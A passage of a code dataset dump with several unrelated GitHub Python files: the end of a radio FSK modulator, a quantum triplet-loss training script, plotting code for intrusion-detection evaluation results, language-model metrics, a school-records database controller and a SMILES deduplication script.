        the symbols are placed at +- df.\n            0 -> -fdev\n            1 -> +fdev\n        \n        # 4FSK modulation :\n            the symbols are placed at +- df and +- df/3\n\n            01 -> -fdev\n            00 -> -fdev/3\n            10 -> +fdev/3\n            11 -> +fdev\n\n        Parameters\n        ----------\n        message : np.ndarray\n            Message bitstream\n        samplesPerSymbol : int\n            Number of IQ samples per symbol\n\n        Returns\n        -------\n        output : ndarray\n            Complex output signal\n        f : float\n            Sampling frequency\n        \"\"\"\n        # Frequency deviation (from the center)\n        deltaF = self._symbol_rate * self._FSKModulationIndex / 2\n        if self._modulation == Modulation.FSK2:\n            fdev = deltaF\n        else:\n            fdev = 3 * deltaF\n\n        mod = {\n            # 2FSK\n            '0' : -fdev,\n            '1' : +fdev,\n            # 4FSK\n            '01' : -fdev,\n            '00' : -fdev/3,\n            '10' : +fdev/3,\n            '11' : +fdev\n        }\n\n        step = 1 if self._modulation == Modulation.FSK2 else 2\n        # Create a frequency deviation signal\n        freqs = []\n        for val in message.reshape(-1,step):\n            key = ''.join([str(x) for x in val])\n            freqs.append(mod[key])\n\n        # Generate I and Q from the frequency deviation\n        \n        # Symbol period\n        Ts = 1/self._symbol_rate\n\n        f = np.repeat(freqs, samplesPerSymbol)\n        dt = (Ts / samplesPerSymbol)\n        t = np.arange(0, dt * f.size, dt)\n\n        IQ = np.exp(2*np.pi*f*1j*t)\n\n        return IQ, 1/dt\n\n\n\n    def bitsToIQ(self, bits):\n        \"\"\"\n        Encodes the given binary message with MR-FSK modulator\n\n        Parameters\n        ----------\n        bits : ndarray or list\n            Message to encode (PSDU)\n\n        Returns\n        -------\n        signal : ndarray\n            output bitstream\n        f : float\n            signal frequency\n        \"\"\"\n        bits = check_binary_array(bits)\n\n        self._PHR_PSDU = np.concatenate(\n            [self._PHR(bits.size // 8), bits])\n\n        # Symbol_length is the number of bits coded for a single symbol. If FEC is disabled, there's one bit per symbol. If FEC is enabled, there's two bits per symbol\n\n        if self._phyFSKFECEnabled:\n            symbol_length = 2\n            self._PHR_PSDU_encoded = self._FEC(self._PHR_PSDU)\n\n            if self._phyFSKFECInterleavingRSC:\n                self._PHR_PSDU_interleaved = self._interleaver(\n                    self._PHR_PSDU_encoded)\n                self._PHR_PSDU = self._PHR_PSDU_interleaved\n            else:\n                # Data is unchanged (encoding only)\n                self._PHR_PSDU = self._PHR_PSDU_encoded\n        else:\n            # Do not change anything\n            symbol_length = 1\n\n        # Apply data whitening (or not)\n        if self._phyFSKScramblePSDU:\n            PSDU_start = PHR_LENGTH * symbol_length * 8\n\n            self._PHR_PSDU_scrambled = self._PHR_PSDU.copy()\n\n            self._PHR_PSDU_scrambled[PSDU_start:] = operations.scrambler(\n                self._PHR_PSDU_scrambled[PSDU_start:])\n            self._PHR_PSDU = self._PHR_PSDU_scrambled\n        # Generate output signal\n        \n        self._binarySignal = np.concatenate([\n            self._SHR(),\n            self._PHR_PSDU\n        ])\n\n        # TODO : change this\n        samplesPerSymbol = 20\n\n        return  self._FSKModulator(self._binarySignal, samplesPerSymbol)\n\n    def bytesToIQ(self, bytes):\n        \"\"\"\n        Encodes the given message (list of bytes) with MR-FSK modulator\n\n        Parameters\n        ----------\n        bytes : ndarray or list or bytes\n            Message to encode (PSDU) as a list of bytes\n\n        Returns\n        -------\n        signal : ndarray\n            output bitstream\n        f : float\n            signal frequency\n        \"\"\"\n        message_bin = to_binary_array(bytes)\n        return self.bitsToIQ(message_bin)\n\n    def modeSwitchToIQ(self, modeSwitchParameterEntry, new_mode_fec):\n        \"\"\"\n\n        new_mode_fec : bool\n            Signal that the packet following\n\n        modeSwitchParameterEntry : int\n            Mode switch operation (0-3)\n        \"\"\"\n\n        if isinstance(modeSwitchParameterEntry, int):\n            if not (0 <= modeSwitchParameterEntry <= 3):\n                raise ValueError(\n                    \"Invalid modeSwitchParameterEntry value. It should be between 0 and 3\")\n        else:\n            raise TypeError(\n                \"Invalid modeSwitchParameterEntry type. It should be int\")\n\n    def _print_verbose(self, message: str):\n        \"\"\"\n        Prints additionnal information if the verbose flag is True\n        \"\"\"\n        if(self._verbose):\n            print(message)\n","repo_name":"SebastienDeriaz/sun_phy","sub_path":"sun_phy/mr_fsk/mr_fsk_modulator.py","file_name":"mr_fsk_modulator.py","file_ext":"py","file_size_in_byte":17002,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"1718887827","text":"import random\nimport pennylane as qml\nimport json\nimport sys\nfrom pennylane import numpy as np\nfrom time import localtime, strftime\nfrom plotting import plot_curves\nfrom data import load_mnist, mnist_apn_generator\nfrom data import load_mnist_ae\nfrom data import load_breast_cancer_lju, bc_apn_generator\nfrom data import load_moons_dataset, moons_apn_generator\nfrom evaluation import evaluate\n\n\nwith open('hyperparameters.json') as json_file:\n    hp = json.load(json_file)\nprint(hp)\n\nif len(sys.argv) == 2:\n    hp[\"output_qubits\"] = int(sys.argv[1])\n\nstarting_time = strftime(\"%Y-%m-%d_%H-%M-%S\", localtime())\n\nnp.random.seed(hp[\"seed\"])\nrandom.seed(hp[\"seed\"])\n\n\ndef circuit(params, data):\n    qml.templates.embeddings.AngleEmbedding(\n            features=data, wires=range(hp[\"data_qubits\"]), rotation=\"X\"\n        )\n\n    for layer in range(hp[\"layers\"]):\n        for wire in range(hp[\"qubits\"]):\n            qml.RX(params[layer][wire][0], wires=wire)\n            qml.RY(params[layer][wire][1], wires=wire)\n        for wire in range(0, hp[\"qubits\"] - 1, 2):\n            qml.CZ(wires=[wire, wire + 1])\n        for wire in range(1, hp[\"qubits\"] - 1, 2):\n            qml.CZ(wires=[wire, wire + 1])\n    return [qml.expval(qml.PauliZ(i)) for i in range(hp[\"output_qubits\"])]\n    # return [qml.expval(qml.PauliZ(2*x) @ qml.PauliZ((2*x)+1))\n    #         for x in range(hp[\"output_qubits\"])]\n\n\ndef triplet_loss(params, qNode, anchor, positive, negative, alpha):\n    a_value = qNode(params, anchor)\n    p_value = qNode(params, positive)\n    n_value = qNode(params, negative)\n\n    dist_a_p = np.linalg.norm(a_value - p_value)**2\n    dist_a_n = np.linalg.norm(a_value - n_value)**2\n\n    return max(dist_a_p - dist_a_n + alpha, 0.0)\n\n\ndef train():\n    assert(hp[\"dataset\"] in [\"mnist\", \"mnist_ae\", \"bc\", \"moons\"])\n    dev = qml.device('default.qubit', wires=hp[\"qubits\"], shots=hp[\"shots\"])\n    \n    qNode = qml.QNode(func=circuit, device=dev)\n\n    stepsize = hp[\"start_stepsize\"]\n    optimizer = qml.AdamOptimizer(stepsize)\n\n    def cost_fn(params):\n        return triplet_loss(params, qNode, anchor,\n                            positive, negative, hp[\"alpha\"])\n\n    params = np.random.uniform(low=-np.pi, high=np.pi,\n                               size=(hp[\"layers\"], hp[\"qubits\"], 2)\n                               )\n\n    if hp[\"dataset\"] == \"mnist\":\n        train_x, train_y, test_x, test_y = load_mnist(seed=hp[\"seed\"],\n                                                      train_size=hp[\"train_size\"],\n                                                      test_size=hp[\"test_size\"],\n                                                      classes=hp[\"classes\"],\n                                                      wires=hp[\"data_qubits\"]\n                                                      )\n\n        apn_generator = mnist_apn_generator(train_x,\n                                            train_y,\n                                            n_cls=len(hp[\"classes\"])\n                                            )\n    elif hp[\"dataset\"] == \"mnist_ae\":\n        train_x, train_y, test_x, test_y = load_mnist_ae(train_size=hp[\"train_size\"],\n                                                         test_size=hp[\"test_size\"],\n                                                         classes=hp[\"classes\"],\n                                                         wires=hp[\"data_qubits\"]\n                                                         )\n\n        apn_generator = mnist_apn_generator(train_x,\n                                            train_y,\n                                            n_cls=len(hp[\"classes\"])\n                                            )\n    elif hp[\"dataset\"] == \"bc\":\n        train_x, train_y, test_x, test_y = load_breast_cancer_lju(hp[\"train_size\"],\n                                                                  hp[\"test_size\"]\n                                                                  )\n        apn_generator = bc_apn_generator(train_x,\n                                         train_y\n                                         )\n    elif hp[\"dataset\"] == \"moons\":\n        train_x, train_y, test_x, test_y = load_moons_dataset(hp[\"train_size\"],\n                                                              hp[\"test_size\"]\n                                                              )\n        apn_generator = moons_apn_generator(train_x,\n                                            train_y\n                                            )\n        hp[\"classes\"] = [\"Moon 1\", \"Moon 2\"]\n\n    accuracys = []\n    dbis = []\n    losses = []\n    gradients = []\n\n    for step in range(hp[\"steps\"] + 1):\n        anchor, positive, negative = next(apn_generator)\n\n        params, c = optimizer.step_and_cost(cost_fn, params)\n\n        print(f\"step {step:{len(str(hp['steps']))}}| cost {c:8.5f}\")\n\n        losses.append(c)\n\n        if step % hp[\"grads_every\"] == 0:\n            g, _ = optimizer.compute_grad(cost_fn, (params,), {}, None)\n            gradients.append(np.average(np.abs(g)))\n            # print(\"Gradients\", g[0][0, 0, 0])\n            # return g[0][0, 0, 0]\n\n        if step % hp[\"test_every\"] == 0:\n            accuracy, dbi = evaluate(hp[\"dataset\"], train_x, train_y,\n                                     test_x, test_y,\n                                     qNode, params, step,\n                                     hp[\"classes\"], hp[\"output_qubits\"]\n                                     )\n            accuracys.append((step, accuracy))\n            dbis.append((step, dbi))\n            print(\"Accuracys:\\n\", accuracys)\n\n        # if (step+1) % hp[\"update_sz_every\"] == 0:\n        #     stepsize *= hp[\"sz_factor\"]\n        #     optimizer.stepsize = stepsize\n        #     print(\"Updated stepsize to\", stepsize)\n\n    if accuracys:\n        print(\"Accuracys:\\n\", accuracys)\n        top_acc = max(np.array(accuracys)[:, 1])\n        print(\"Maximum: \", top_acc)\n        hp[\"top_acc\"] = float(top_acc)\n\n    if dbis:\n        print(\"DBIs:\\n\", dbis)\n        top_dbi = min(np.array(dbis)[:, 1])\n        print(\"Minimum:\", top_dbi)\n        hp[\"top_dbi\"] = float(top_dbi)\n\n    if gradients:\n        print(\"Gradients Avg: \", np.average(gradients))\n\n    name = f\"{starting_time}_{hp['output_qubits']}\"\n    with open(f\"./trainings/{name}.json\", \"w\") as json_file:\n        json.dump(hp, json_file)\n    np.savez(f\"./trainings/{name}.npz\",\n             accuracys=accuracys,\n             dbis=dbis,\n             losses=losses,\n             gradients=gradients,\n             params=params\n             )\n\n    # plot_curves(np.array(accuracys),\n    #             np.array(dbis),\n    #             np.array(losses),\n    #             f\"Qubits: {hp['qubits']}, \" +\n    #             f\"Layers: {hp['layers']}, \" +\n    #             f\"Classes: {hp['classes']}, \" +\n    #             f\"Output_dim: {hp['output_qubits']}\"\n    #             )\n    \n\nif __name__ == \"__main__\":\n    # n_layers = [5, 25, 50, 75, 100]\n    # n_qubits = [4, 6, 8, 10, 12]\n    # seeds = list(range(100))\n\n    # gradients = np.zeros((len(n_layers), len(n_qubits), len(seeds)))\n\n    # for il, l in enumerate(n_layers):\n    #     for iq, q in enumerate(n_qubits):\n    #         for js, s in enumerate(seeds):\n    #             hp[\"layers\"] = l\n    #             hp[\"qubits\"] = q\n    #             hp[\"seeds\"] = s\n    #             print(l, q, s)\n    #             grad = train()\n    #             gradients[il, iq, js] = grad\n\n    # np.savez(f\"./trainings/{starting_time}_grads.npz\", grads=gradients,\n    #                                                    n_layers=np.array(n_layers),\n    #                                                    n_qubits=np.array(n_qubits),\n    #                                                    seeds=np.array(seeds))\n    # print(gradients)\n\n    train()\n","repo_name":"cirKITers/quantum-triplet-loss","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16653818936","text":"#vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom matplotlib import rc\nfrom os.path import expanduser\nfrom pandas import DataFrame\nfrom collections import defaultdict\n\nBASE_PATH = expanduser('./fig')\n\ndef plot_detection_timeliness_hist_1hr(X):\n   plt.clf()\n   t = np.arange(min(X), max(X)+1, 60) # 6 hours period\n   plt.hist(X)\n   plt.ylabel(r'frequency')\n   plt.xlabel(r'time (minute)')\n   plt.xticks(t)\n   # plt.title(r\"\\TeX\\ is Number \"\n   #                r\"$\\displaystyle\\sum_{n=1}^\\infty\\frac{-e^{i\\pi}}{2^n}$!\",\n   #                fontsize=16, color='gray')\n   plt.tight_layout()\n   fig = plt.gcf()\n   fig.savefig('{}/{}'.format(BASE_PATH,\n                              'graph_detection_timeliness_hist_1hr.pdf'))\n\ndef plot_detection_timeliness_hist(X):\n   X /= 3600\n   plt.clf()\n   t = np.arange(min(X), max(X)+1, 12) # 6 hours period\n   plt.hist(X)\n   plt.ylabel(r'frequency')\n   plt.xlabel(r'time (hr)')\n   plt.xticks(t)\n   # plt.title(r\"\\TeX\\ is Number \"\n   #                r\"$\\displaystyle\\sum_{n=1}^\\infty\\frac{-e^{i\\pi}}{2^n}$!\",\n   #                fontsize=16, color='gray')\n   plt.tight_layout()\n   fig = plt.gcf()\n   fig.savefig('{}/{}'.format(BASE_PATH,\n                              'graph_detection_timeliness_hist.pdf'))\n\ndef plot_detection_timeliness(X):\n   X /= 3600\n   plt.clf()\n   t = np.arange(min(X), max(X)+1, 12) # 6 hours period\n   X_ = np.sort(X)\n   X_ /= X_.sum()\n   CY = np.cumsum(X_)\n   plt.plot(np.sort(X),CY,'r')\n   plt.ylabel(r'empirical cdf')\n   plt.xlabel(r'time (hr)')\n   plt.xticks(t)\n   # plt.title(r\"\\TeX\\ is Number \"\n   #                r\"$\\displaystyle\\sum_{n=1}^\\infty\\frac{-e^{i\\pi}}{2^n}$!\",\n   #                fontsize=16, color='gray')\n   plt.tight_layout()\n   fig = plt.gcf()\n   fig.savefig('{}/{}'.format(BASE_PATH,\n                              'graph_detection_timeliness.pdf'))\n\ndef plot_detection_accuracy(X):\n   plt.clf()\n   df2 = DataFrame(X, columns=['detected', 'not detected'])\n   ax = df2.plot(kind='bar', stacked=True, color='k');\n   ax.set_ylabel('# compromised user')\n   ax.set_xlabel('incident id')\n   plt.tight_layout()\n   plt.yticks([1,2,3,4])\n   for container in ax.containers:\n        if container.get_label() == 'detected':\n            plt.setp(container, color='0.75')\n        else:\n            plt.setp(container, color='0')\n   # ax.legend()\n   plt.legend(loc='upper left')\n   fig = plt.gcf()\n   fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_detection_accuracy.pdf'))\n    \n\n# def plot_sequencing_accuracy(X, idx, name):\n#    \"\"\"\n#    length of the array must equal length of the idx\n#    \"\"\"\n#    df2 = DataFrame(X, index=idx,columns=['correct', 'incorrect'])\n#    df2.plot(kind='bar', stacked=True)\n\n#    fig = plt.gcf()\n#    fig.savefig('{}/{}'.format(BASE_PATH,\n#                                'graph_sequencing_accuracy_%s.pdf' % name))\n\n    \ndef plot_sequencing_accuracy(conf_arr, idx, name, fontsize=12):\n    norm_conf = []\n    for i in conf_arr:\n            a = 0\n            tmp_arr = []\n            a = sum(i,0)\n            for j in i:\n                    tmp_arr.append(float(j)/float(a))\n            norm_conf.append(tmp_arr)\n    plt.clf()\n    fig = plt.figure()\n    ax = fig.add_subplot(111)\n    ax.xaxis.tick_top()\n    [ax.grid(False) for ax in fig.axes]\n    res = ax.imshow(np.array(norm_conf), origin='upper', cmap=plt.cm.jet_r, interpolation='nearest')\n    for i, cas in enumerate(conf_arr):\n        for j, c in enumerate(cas):\n            plt.text(i, j, c, horizontalalignment='center', verticalalignment='center',fontsize=fontsize, color='white')\n    cb = fig.colorbar(res)\n    width = len(conf_arr)\n    height = len(conf_arr[0])\n    plt.xticks(range(width), idx[:width])\n    plt.yticks(range(height), idx[:height])\n    fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_sequencing_accuracy_%s.pdf' % name))\n\ndef plot_detection_accuracy_helper(result):\n    # detection accuracy\n    d = defaultdict()\n    for row in result.iterrows():\n       r = row[1]\n       if (d.has_key(r.incident) == False):\n          d[r.incident] = defaultdict()\n          \n       if (d[r.incident].has_key('hit') == False):\n          d[r.incident]['hit'] = 0\n          \n       if (d[r.incident].has_key('miss') == False):\n          d[r.incident]['miss'] = 0\n\n       if r.accuracy == 1:\n          d[r.incident]['hit'] += 1\n       else:\n          d[r.incident]['miss'] += 1\n          \n    detection_accuracy = []\n    for incident in d:\n       detection_accuracy.append([d[incident]['hit'], d[incident]['miss']])\n    \n    plot_detection_accuracy(np.array(detection_accuracy, dtype=int))\n    \ndef plot_detection_timeliness_helper(result):\n    # detection accuracy\n   plot_detection_timeliness(np.array(result.detection_timeliness, dtype=float))\n   # print zip(result.num_event, result.labeling_time)\n   # print result.detection_timeliness, result.preemption_timeliness, result.attack_duration\n    \ndef plot_preemption_cdf(df):\n    df_filtered = df[df['accuracy'] == 1]\n    df = df_filtered\n    # raise SystemExit\n   \n    plt.clf()\n    \n    X = np.array([x/3600 if x >=0 and x/3600 < 48 else 48 for x in df.preemption_timeliness], dtype=float)\n    try:\n      plt.hist(X, cumulative=True, label='preemption', color='0')\n    except ValueError:\n      pass\n    \n    plt.ylim(14,24)\n    plt.xlabel('preemption timeliness (hr)')\n    plt.ylabel('cumulative count')\n    plt.legend(loc='upper left')\n    fig = plt.gcf()\n    [ax.grid(False) for ax in fig.axes]\n    fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_preemption_cdf.pdf'))\n    \ndef plot_detection_cdf(df):\n    df_filtered = df[df['accuracy'] == 1]\n    df = df_filtered\n    # raise SystemExit\n   \n    plt.clf()\n    \n    X = np.array([x/3600 if x >=0 and x/3600 < 48 else 48 for x in df.detection_timeliness], dtype=float)\n    try:\n      ax = plt.hist(X, cumulative=True, label='detection', color='0')\n    except ValueError:\n      pass\n    \n    plt.ylim(14,24)\n    plt.xlabel('detection timeliness (hr)')\n    plt.ylabel('cumulative count')\n    plt.legend(loc='upper left')\n    fig = plt.gcf()\n    [ax.grid(False) for ax in fig.axes]\n    fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_detection_cdf.pdf'))\n    \ndef plot_detection_and_preemption_timeline(df):\n    plt.clf()\n    timeline = []\n    for row in df.iterrows():\n        r = row[1]\n        if r.detection_timeliness!= -1:\n            sum = r.detection_timeliness + r.preemption_timeliness\n            if (sum != 0):\n                ratio = r.detection_timeliness/sum\n                timeline.append(ratio)\n            else:\n                timeline.append(1)\n\n    fig, ax = plt.subplots()\n\n    count = 0\n    for user in timeline:\n       if count == 0:\n          plt.bar(left=0, width=user, height=0.8, bottom=count, color='0.75', label='not_malicious')\n          plt.bar(left=user, width=1.02-user, height=0.8, bottom=count, color='0', label='malicious')\n       else:\n          plt.bar(left=0, width=user, height=0.8, bottom=count, color='0.75')\n          plt.bar(left=user, width=1.02-user, height=0.8, bottom=count, color='0')\n       count = count + 1\n    ax.set_yticks(np.arange(0, len(timeline), 5), minor=False)\n    ax.set_xticks(np.arange(0, 2), minor=False)\n    ax.grid(False)\n    \n    # for container in ax.containers:\n    #      if container.get_label() == 'malicious':\n    #          plt.setp(container, hatch='xxx')\n    #      else:\n    #          plt.setp(container, hatch='ooo')\n    # ax.legend()\n    \n    plt.axis([0,1.03,-1,len(timeline)])\n    plt.xlabel('time (normalized)')\n    plt.ylabel('user id')\n    plt.legend(loc='upper left')\n    plt.tight_layout()\n    fig = plt.gcf()\n    fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_detection_and_preemption_timeline.pdf'))\n    \ndef plot_labeling_time(df):\n    plt.clf()\n    plt.scatter(df.num_event, df.labeling_time)\n    pars= np.polyfit(df.num_event, df.labeling_time, 1)\n    fitted_y = np.polyval(pars,df.num_event)\n    plt.plot(df.num_event, fitted_y, 'r--')\n    plt.xlabel('number of events')\n    plt.ylabel('labeling time (s)')\n\n    # t = np.array(df.num_event)\n    # xn = np.array(df.labeling_time)\n    # #Linear regressison -polyfit - polyfit can be used other orders polys\n    # (ar,br)=polyfit(t,xn,1)\n    # xr=polyval([ar,br],t)\n    # #compute the mean square error\n\n    # t = (xr-xn)**2\n    # n = len(t)\n    # err=sqrt(t.sum()/n)\n    # print len(t), err\n\n\n    # print df.accuracy\n    \n    fig = plt.gcf()\n    fig.savefig('{}/{}'.format(BASE_PATH,\n                               'graph_labeling_time.pdf'))\n    \ndef plot_result(result):\n    \"\"\"\n    result: list of incident_results\n    [\n    (user, accuraty (0 - not detected or 1 - detected), detection timeliness in second\n    ]\n    \"\"\"\n    plot_detection_accuracy_helper(result)\n    plot_detection_cdf(result)\n    plot_preemption_cdf(result)\n    plot_detection_and_preemption_timeline(result)\n    plot_labeling_time(result)\n\n    # # detection timeliness\n    # detection_timeliness = []\n    # for incident in result:\n    #    for incident_result in incident:\n    #       timeliness = incident_result[2]\n    #       if (timeliness > 0):\n    #         detection_timeliness.append(timeliness) # timeliness\n\n    # plot_detection_timeliness(np.array(detection_timeliness, dtype=float))\n    # plot_detection_timeliness_hist(np.array(detection_timeliness, dtype=float))\n    # plot_detection_timeliness_hist_1hr(np.array([ x < 3600 for x in detection_timeliness], dtype=float))\n\ndef plot_variation(df):\n  plt.clf()\n  plt.hist(df.accuracy_list[0], color='k')\n  plt.xlabel('detect at event number')\n  plt.ylabel('count')\n  plt.xticks([3, 4, 5, 6]) # TODO FIX THIS\n  fig = plt.gcf()\n  fig.savefig('{}/{}'.format(BASE_PATH,\n                           'graph_variation.pdf'))\n","repo_name":"ncsa/AttackTagger","sub_path":"src/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":9865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"41051139713","text":"import math\nimport torch\nfrom overrides import overrides\nimport torch.distributed as dist\nimport vae_lm.nn.utils as util\nfrom torch_nlp_utils.metrics import Metric\n\n\nclass Average(Metric):\n    \"\"\"Simple metric to average results over passed tensor values.\"\"\"\n\n    def __init__(self) -> None:\n        self._total_value = 0.0\n        self._count = 0\n\n    @overrides\n    def __call__(self, value: torch.Tensor) -> None:\n        _total_value = list(util.unwrap_to_tensors(value))[0]\n        _count = 1\n        if util.dist_available():\n            device = util.int_to_device(\n                -1 if dist.get_backend() != \"nccl\" else torch.cuda.current_device()\n            )\n            count = torch.tensor(_count, device=device)\n            total_value = torch.tensor(_total_value, device=device)\n            # Reduce from all processes\n            dist.all_reduce(count, op=dist.ReduceOp.SUM)\n            dist.all_reduce(total_value, op=dist.ReduceOp.SUM)\n            _count = count.item()\n            _total_value = total_value.item()\n        self._count += _count\n        self._total_value += _total_value\n\n    @overrides\n    def get_metric(self, reset: bool = False):\n        \"\"\"Average of accumulated values.\"\"\"\n        average_value = self._total_value / self._count if self._count > 0 else 0.0\n        if reset:\n            self.reset()\n        return float(average_value)\n\n    @overrides\n    def reset(self):\n        self._total_value = 0.0\n        self._count = 0\n\n\nclass Perplexity(Average):\n    \"\"\"\n    Perplexity is a common metric used for evaluating how well a language model\n    predicts a sample.\n\n    Notes\n    -----\n    Assumes negative log likelihood loss of each batch (base e). Provides the\n    average perplexity of the batches.\n    \"\"\"\n\n    @overrides\n    def get_metric(self, reset: bool = False) -> float:\n        \"\"\"The accumulated perplexity.\"\"\"\n        average_loss = super().get_metric(reset)\n        if average_loss == 0:\n            return 0.0\n        # Exponentiate the loss to compute perplexity\n        return math.exp(average_loss)\n","repo_name":"Nemexur/nonauto-lm","sub_path":"vae_lm/training/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"41389947972","text":"from bd import obtener_conexion\r\n\r\ndef insertar_escuela(nombre,descripcion, estado, nombre1):\r\n    conexion = obtener_conexion()\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"INSERT INTO ESCUELA(idEscuela,nombre,descripcion, estado, idFacultad) VALUES (%s,%s,%s, %s, %s)\",\r\n                       (obtener_ultimoid(),nombre,descripcion, estado, obtener_idfacultad(nombre1)))\r\n    conexion.commit()\r\n    conexion.close()\r\n\r\ndef obtener_idfacultad(nombre):\r\n    conexion = obtener_conexion()\r\n    id=None\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT idFacultad from FACULTAD WHERE nombre = %s\",\r\n                       (nombre))\r\n        id = cursor.fetchone()\r\n    conexion.close()\r\n    return id\r\n\r\n\r\ndef obtener_ultimoid():\r\n    conexion = obtener_conexion()\r\n    id=None\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT COALESCE((MAX(idEscuela)),0)+1 as idEscuela from ESCUELA\")\r\n        id = cursor.fetchone()\r\n    conexion.close()\r\n    return id\r\n\r\n\r\ndef listarFacultades():\r\n    conexion = obtener_conexion()\r\n    facultad=[]\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT nombre from FACULTAD\")\r\n        facultad = cursor.fetchall()\r\n    conexion.close()\r\n    return facultad\r\n\r\n\r\ndef obtener_escuela():\r\n    conexion = obtener_conexion()\r\n    escuela = []\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT idEscuela,e.nombre,e.descripcion,CASE e.estado WHEN 'V' THEN 'Vigente' ELSE 'No vigente' END AS estado, f.nombre FROM ESCUELA e INNER JOIN FACULTAD f on e.idFacultad=f.idFacultad\")\r\n        escuela = cursor.fetchall()\r\n        print(escuela)\r\n    conexion.close()\r\n    return escuela\r\n\r\ndef obtener_escuela_index(limit,offset):\r\n    conexion=obtener_conexion()\r\n    escuela=[]\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT idEscuela,nombre,descripcion, CASE estado WHEN 'V' THEN 'Vigente' ELSE 'No vigente' END AS estado, idFacultad FROM ESCUELA limit {} offset {}\".format(limit, offset))\r\n        escuela = cursor.fetchall()\r\n        print(escuela)\r\n    conexion.close()\r\n    return escuela\r\n\r\ndef actualizar_escuela(nombre,descripcion, estado, nombre1,id):\r\n    conexion = obtener_conexion()\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"UPDATE ESCUELA SET nombre= %s,descripcion= %s, estado= %s, idFacultad= %s WHERE idEscuela = %s\",\r\n                       (nombre,descripcion, estado, obtener_idfacultad(nombre1),id))\r\n    conexion.commit()\r\n    conexion.close()\r\n\r\n\r\ndef dar_baja(id):\r\n    conexion = obtener_conexion()\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"UPDATE ESCUELA SET estado='N' WHERE idEscuela = %s\",\r\n                       (id))\r\n    conexion.commit()\r\n    conexion.close()\r\ndef dar_alta(id):\r\n    conexion = obtener_conexion()\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"UPDATE ESCUELA SET estado='V' WHERE idEscuela = %s\",\r\n                       (id))\r\n    conexion.commit()\r\n    conexion.close()\r\ndef buscar_escuela(nombre):\r\n    conexion = obtener_conexion()\r\n    escuela = []\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT idEscuela,nombre,descripcion, estado, idFacultad FROM ESCUELA WHERE nombre LIKE ('%'||%s||'%')\", (nombre,))\r\n        escuela = cursor.fetchall()\r\n    conexion.close()\r\n    return escuela\r\n\r\ndef buscar_escuela_id(id):\r\n    conexion = obtener_conexion()\r\n    escuela = []\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"SELECT idEscuela,e.nombre,e.descripcion, e.estado, f.nombre FROM ESCUELA e INNER JOIN FACULTAD f on e.idFacultad=f.idFacultad  WHERE idEscuela = %s\", (id,))\r\n        escuela = cursor.fetchone()\r\n    conexion.close()\r\n    return escuela\r\n\r\ndef eliminar_escuela(id):\r\n    conexion = obtener_conexion()\r\n    with conexion.cursor() as cursor:\r\n        cursor.execute(\"DELETE FROM ESCUELA WHERE idEscuela = %s\", (id))\r\n    conexion.commit()\r\n    conexion.close()","repo_name":"BeafLee/PractiSoft","sub_path":"controladores/controlador_escuela.py","file_name":"controlador_escuela.py","file_ext":"py","file_size_in_byte":3975,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11349986226","text":"\n\n# Writte by Trent Balius, FNLCR, April 6, 2021\n\nimport sys \n\ndef main():\n   file1 = sys.argv[1]\n   file2 = sys.argv[2]\n   \n   print(\"input = %s\"%(file1))\n   print(\"output = %s\"%(file2))\n   \n   fh1 = open(file1,'r')\n   \n   dic_id_count = {}\n   dic_id_line = {}\n   \n   \n   \n   for line in fh1:\n       sline = line.split()\n       sid = sline[1]\n       if sid in dic_id_count:\n          dic_id_count[sid]=dic_id_count[sid]+1\n       else: \n          dic_id_count[sid]=1\n          dic_id_line[sid] = line.strip()\n       \n   \n   fh1.close()\n   \n   fh2 = open(file2,'w')\n   for key in sorted(dic_id_line.keys()):\n       fh2.write('%s\\n'%(dic_id_line[key]))\n   fh2.close()\n   \n   # print the ids that have more than on entree in the file. \n   \n   for key in sorted(dic_id_count.keys()):\n       if dic_id_count[key] > 1: \n          print(key,dic_id_count[key])\n   \nmain()\n","repo_name":"tbalius/teb_scripts_programs","sub_path":"zzz.scripts/make_smi_uniq.py","file_name":"make_smi_uniq.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
